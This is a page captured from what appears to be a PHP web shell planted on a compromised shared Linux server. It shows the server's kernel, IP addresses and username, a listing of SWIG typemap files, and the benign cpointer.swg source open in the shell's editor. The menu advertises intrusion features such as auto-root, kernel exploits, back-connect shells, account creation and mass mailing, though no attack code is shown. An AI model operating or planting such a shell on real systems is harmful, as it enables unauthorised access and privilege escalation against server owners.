Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
swig4.0 /
typemaps /
[ HOME SHELL ]
Name
Size
Permission
Action
attribute.swg
9.51
KB
-rw-r--r--
carrays.swg
2.62
KB
-rw-r--r--
cdata.swg
1.83
KB
-rw-r--r--
cmalloc.swg
2.38
KB
-rw-r--r--
cpointer.swg
3.18
KB
-rw-r--r--
cstring.swg
167
B
-rw-r--r--
cstrings.swg
8.03
KB
-rw-r--r--
cwstring.swg
207
B
-rw-r--r--
enumint.swg
1.24
KB
-rw-r--r--
exception.swg
2.65
KB
-rw-r--r--
factory.swg
2.38
KB
-rw-r--r--
fragments.swg
7.4
KB
-rw-r--r--
implicit.swg
4.86
KB
-rw-r--r--
inoutlist.swg
9.26
KB
-rw-r--r--
misctypes.swg
467
B
-rw-r--r--
primtypes.swg
9.99
KB
-rw-r--r--
ptrtypes.swg
6.44
KB
-rw-r--r--
std_except.swg
1.21
KB
-rw-r--r--
std_string.swg
347
B
-rw-r--r--
std_strings.swg
1.93
KB
-rw-r--r--
std_wstring.swg
400
B
-rw-r--r--
string.swg
777
B
-rw-r--r--
strings.swg
18.37
KB
-rw-r--r--
swigmacros.swg
7.68
KB
-rw-r--r--
swigobject.swg
894
B
-rw-r--r--
swigtype.swg
23.3
KB
-rw-r--r--
swigtypemaps.swg
4.87
KB
-rw-r--r--
typemaps.swg
4.46
KB
-rw-r--r--
valtypes.swg
6.97
KB
-rw-r--r--
void.swg
2.02
KB
-rw-r--r--
wstring.swg
805
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cpointer.swg
/* ----------------------------------------------------------------------------- * cpointer.swg * * This library file contains macros that can be used to manipulate simple * pointer objects. * * ----------------------------------------------------------------------------- */ /* ----------------------------------------------------------------------------- * %pointer_class(type,name) * * Places a simple proxy around a simple type like 'int', 'float', or whatever. * The proxy provides this interface: * * class type { * public: * type(); * ~type(); * type value(); * void assign(type value); * }; * * Example: * * %pointer_class(int, intp); * * int add(int *x, int *y) { return *x + *y; } * * In python (with proxies) * * >>> a = intp() * >>> a.assign(10) * >>> a.value() * 10 * >>> b = intp() * >>> b.assign(20) * >>> print add(a,b) * 30 * * As a general rule, this macro should not be used on class/structures that * are already defined in the interface. * ----------------------------------------------------------------------------- */ %define %pointer_class(TYPE, NAME) %{ typedef TYPE NAME; %} typedef struct { } NAME; %extend NAME { NAME() { return %new_instance(TYPE); } ~NAME() { if ($self) %delete($self); } } %extend NAME { void assign(TYPE value) { *$self = value; } TYPE value() { return *$self; } TYPE * cast() { return $self; } static NAME * frompointer(TYPE *t) { return (NAME *) t; } } %types(NAME = TYPE); %enddef /* ----------------------------------------------------------------------------- * %pointer_functions(type,name) * * Create functions for allocating/deallocating pointers. This can be used * if you don't want to create a proxy class or if the pointer is complex. * * %pointer_functions(int, intp) * * int add(int *x, int *y) { return *x + *y; } * * In python (with proxies) * * >>> a = copy_intp(10) * >>> intp_value(a) * 10 * >>> b = new_intp() * >>> intp_assign(b,20) * >>> print add(a,b) * 30 * >>> delete_intp(a) * >>> delete_intp(b) * * ----------------------------------------------------------------------------- */ %define %pointer_functions(TYPE,NAME) %{ static TYPE *new_##NAME() { return %new_instance(TYPE); } static TYPE *copy_##NAME(TYPE value) { return %new_copy(value, TYPE); } static void delete_##NAME(TYPE *obj) { if (obj) %delete(obj); } static void NAME ##_assign(TYPE *obj, TYPE value) { *obj = value; } static TYPE NAME ##_value(TYPE *obj) { return *obj; } %} TYPE *new_##NAME(); TYPE *copy_##NAME(TYPE value); void delete_##NAME(TYPE *obj); void NAME##_assign(TYPE *obj, TYPE value); TYPE NAME##_value(TYPE *obj); %enddef /* ----------------------------------------------------------------------------- * %pointer_cast(type1,type2,name) * * Generates a pointer casting function. * ----------------------------------------------------------------------------- */ %define %pointer_cast(TYPE1,TYPE2,NAME) %inline %{ TYPE2 NAME(TYPE1 x) { return %static_cast(x, TYPE2); } %} %enddef
Close